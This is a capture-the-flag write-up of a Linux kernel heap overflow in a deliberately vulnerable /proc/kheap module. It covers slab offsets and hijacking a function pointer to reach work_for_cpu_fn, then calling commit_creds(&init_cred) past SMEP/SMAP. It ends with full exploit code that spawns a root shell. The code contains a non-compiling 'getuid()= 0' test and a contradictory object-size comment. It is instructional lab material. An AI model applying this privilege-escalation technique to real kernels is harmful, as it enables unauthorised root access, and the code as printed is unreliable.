Linux Kernel Exploitation: Heap Overflow & SMEP/SMAP Bypass using commit_creds(&init_cred)

December 25, 2025

In this post, I'll walk through a Linux kernel exploitation challenge that involves a heap overflow vulnerability. We'll explore how to analyze the kernel slab allocator, calculate offsets to control execution flow, and ultimately bypass modern protections like SMEP (Supervisor Mode Execution Prevention) and SMAP (Supervisor Mode Access Prevention) to gain root privileges. Doing all this with and interesting gadget in the kernel work_for_cpu_fn. and invoke it with commit_creds(&init_cred).

1.png

what are we working with (slabinfo)

$ sudo cat /proc/slabinfo
8 objects
512 objsize

Calculations for the slab layout:

  • Total size per slab: 8 objects * 512 bytes = 4096 bytes (0x1000)
  • Object size: 0x1000 / 8 = 0x200 bytes

2.png

We are able to fill these slabs with the following code:

int fds[0x8];
for (int i = 0; i < 8; i++) 
    fds[i] = open("/proc/kheap", O_RDWR);

This will fill it with 8 objects.

The vulnerability in the ioctl function

We have 3 functions in the ioctl function we can use them by sending the right value to the ioctl function. 3.png

  • 0x5700 = read,
  • 0x5701 = write,
  • 0x5702 = call

Reverse engineering the kernel module reveals the expected structure for the ioctl arguments:

kheap_ioctl(file *filp, unsigned int cmd, unsigned __int64 arg)
  1. fd
  2. cmd (0x5700, 0x5701, 0x5702)
  3. arg (struct kheap_req_t)

The argument structure (kheap_req_t) is defined as follows from IDA: 4.png

typedef unsigned long long u64;

typedef struct kheap_req_t {
    u64 ubuf;
    u64 size;
} kheap_req_t;

So to call the ioctl function we need to do the following:

void do_write(int fd, void *buf, size_t size) {

    kheap_req_t req = {
        .ubuf = (u64)buf,
        .size = (u64)size
    };

    int ret = ioctl(fd, 0x5701, &req);
    assert(ret == 0);
}

Kernel Heap Overflow

The do_write handler (0x5701) allows us to write data into the kernel heap object. Due to a lack of bounds checking, we can overflow from one object into the next.

Since the object size is 0x200, and the function pointer is located at offset 0x1f8 (near the end of the object), we can receive control by overwriting it. Additionally, because do_write allows writing 0x400 bytes, we overflow into the next object to control the data pointed to by registers (like RDI) during the hijacked call.

Target Computation:

  • Slab Object Size: 0x200
  • Target Offset: 0x1f8 (Function pointer inside the current object)
  • Overflow Data: 0x200 to 0x400 (Overwrites the next object to control arguments)
char buf[0x400];
memset(buf, 'A', sizeof(buf)); 
// Overwrite the function pointer of the NEXT object
*(u64*)&buf[0x1f8] = 0x4242424242424242; 
do_write(fd, buf, sizeof(buf));

We first have to put our breakpoint somewhere to see what we are doing, and if it reaches the function correctly.

sudo cat /proc/kallsyms | grep vuln_ioctl

and set a breakpoint on the function so we can trace through it. We see that when the function is overwritten, on one of the calls it will call the function pointer overwritten, with our placed hijack. 5.png And after this gives a segmentation fault, check it with dmesg.

$ sudo dmesg

6.png This shows us that we are able to control the function pointer and call it, not only RIP, but also the value that RDI points to.

Controlling the exploit to gain root privileges

The gadgets we need to use with SMEP & SMAP enabled

  1. We have control over the value in $RDI points to, $RAX and $RIP eventually.
  2. We need a gadget to call commit_creds with &init_cred as argument.

The function work_for_cpu_fn

7.png

  • https://elixir.bootlin.com/linux/v6.7.9/source/kernel/workqueue.c#L5614 As shown in a video from pwn.college this function has a special gadgets we need.

Lets look at the function in GDB so we can see the gadgets we need:

gef➤  disas 0xffffffff810a5570
Dump of assembler code for function work_for_cpu_fn:
   0xffffffff810a5570 <+0>:	endbr64
   0xffffffff810a5574 <+4>:	push   rbx
   0xffffffff810a5575 <+5>:	mov    rbx,rdi
   0xffffffff810a5578 <+8>:	mov    rdi,QWORD PTR [rdi+0x28]
   0xffffffff810a557c <+12>:	mov    rax,QWORD PTR [rbx+0x20]
   0xffffffff810a5580 <+16>:	call   0xffffffff81ebe160 <__x86_indirect_thunk_array>
   0xffffffff810a5585 <+21>:	mov    QWORD PTR [rbx+0x30],rax
   0xffffffff810a5589 <+25>:	pop    rbx
   0xffffffff810a558a <+26>:	ret

Why this is perfect:

  1. It takes our object pointer (which we corrupted) as rdi.
  2. It loads a new struct pointer from [rdi + 0x28] and puts it into rdi. This allows us to control the argument for the next function call (init_cred).
  3. It loads a function pointer from [rbx + 0x20] and calls it. This allows us to call commit_creds with the rax register.

Attack Flow Analysis

Step 1: Entry When replacing the 0x4242424242424242 with the address of the function we want to call work_for_cpu_fn, we can see that it changes control to the function. So we trigger the overwritten function pointer to jump to work_for_cpu_fn. 8.png And hitting the breakpoint in gdb.

Step 2: Save Context

  • at work_for_cpu_fn+5 it executes: mov rbx, rdi -> The kernel saves our managed object pointer into rbx. 9.png

Step 3: Argument Setup

  • at work_for_cpu_fn+8 it executes: mov rdi, QWORD PTR [rdi+0x28] -> The kernel loads the first argument for the next call. We set this value in our payload to &init_cred.
  • Result: RDI = &init_cred 10.png
gef➤  x/x $rdi
0xffffffff82a52f20 <init_cred>:	0x0000000000000004

Step 4: Function Setup

  • at work_for_cpu_fn+12 it executes: mov rax, QWORD PTR [rbx+0x20] -> The kernel loads the target function address. We set this to &commit_creds.
  • Result: RAX = &commit_creds 11.png

Step 5: Execution

  • at work_for_cpu_fn+16 it executes: call rax -> The kernel executes commit_creds(&init_cred), elevating our privileges to root effectively instantly. 12.png

5. Full Exploit Code

The final exploit uses the documented offset 0x1f8 to place the work_for_cpu_fn address, followed by the Payload at offsets 0x20 (function) and 0x28 (argument).

full exploit code

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <stdint.h>

typedef unsigned long long u64;

typedef struct kheap_req_t {
    u64 ubuf;
    u64 size;
} kheap_req_t;


void do_read(int fd, void *buf, size_t size) {

    kheap_req_t req = {
        .ubuf = (u64)buf,
        .size = (u64)size
    };

    int ret = ioctl(fd, 0x5700, &req);
    assert(ret == 0);
}

void do_write(int fd, void *buf, size_t size) {

    kheap_req_t req = {
        .ubuf = (u64)buf,
        .size = (u64)size
    };

    int ret = ioctl(fd, 0x5701, &req);
    assert(ret == 0);
}

void do_call(int fd) {

    kheap_req_t req = {
        .ubuf = (u64)0,
        .size = (u64)0
    };

    int ret = ioctl(fd, 0x5702, &req);
    assert(ret == 0);
}


int fds[0x7];

int main() {

    int fd = open("/proc/kheap", O_RDWR);
    assert(fd > 0);

    for (int i = 0; i < 7; i++) fds[i]= open("/proc/kheap", O_RDWR);

    char buf[0x400];
    memset(buf, 'A', sizeof(buf)); 
    
    *(u64*)&buf[0x1f8]= 0xffffffff810a5570; // work_for_cpu_fn
    *(u64*)&buf[0x1f8 + 0x30]= 0xffffffff82a52f20; // &init_cred 
    *(u64*)&buf[0x1f8 + 0x28]= 0xffffffff810b8bb0; // commit_creds
    do_write(fd, buf, sizeof(buf)); // the objsize is 0x400 but the ptr takes 0x8 so its 0x1f8
    printf("uid=%d\n", getuid());

    for (int i= 0; i < 7; i++) {
        do_call(fds[i]);
        if (getuid()= 0) break;
    }
    printf("uid=%d\n", getuid());
    execl("/bin/sh", "sh", NULL);

    close(fd);
    for (int i= 0; i < 7; i++) close(fds[i]);

}

Please contact me if you have any questions, seen any errors or have any comments.

References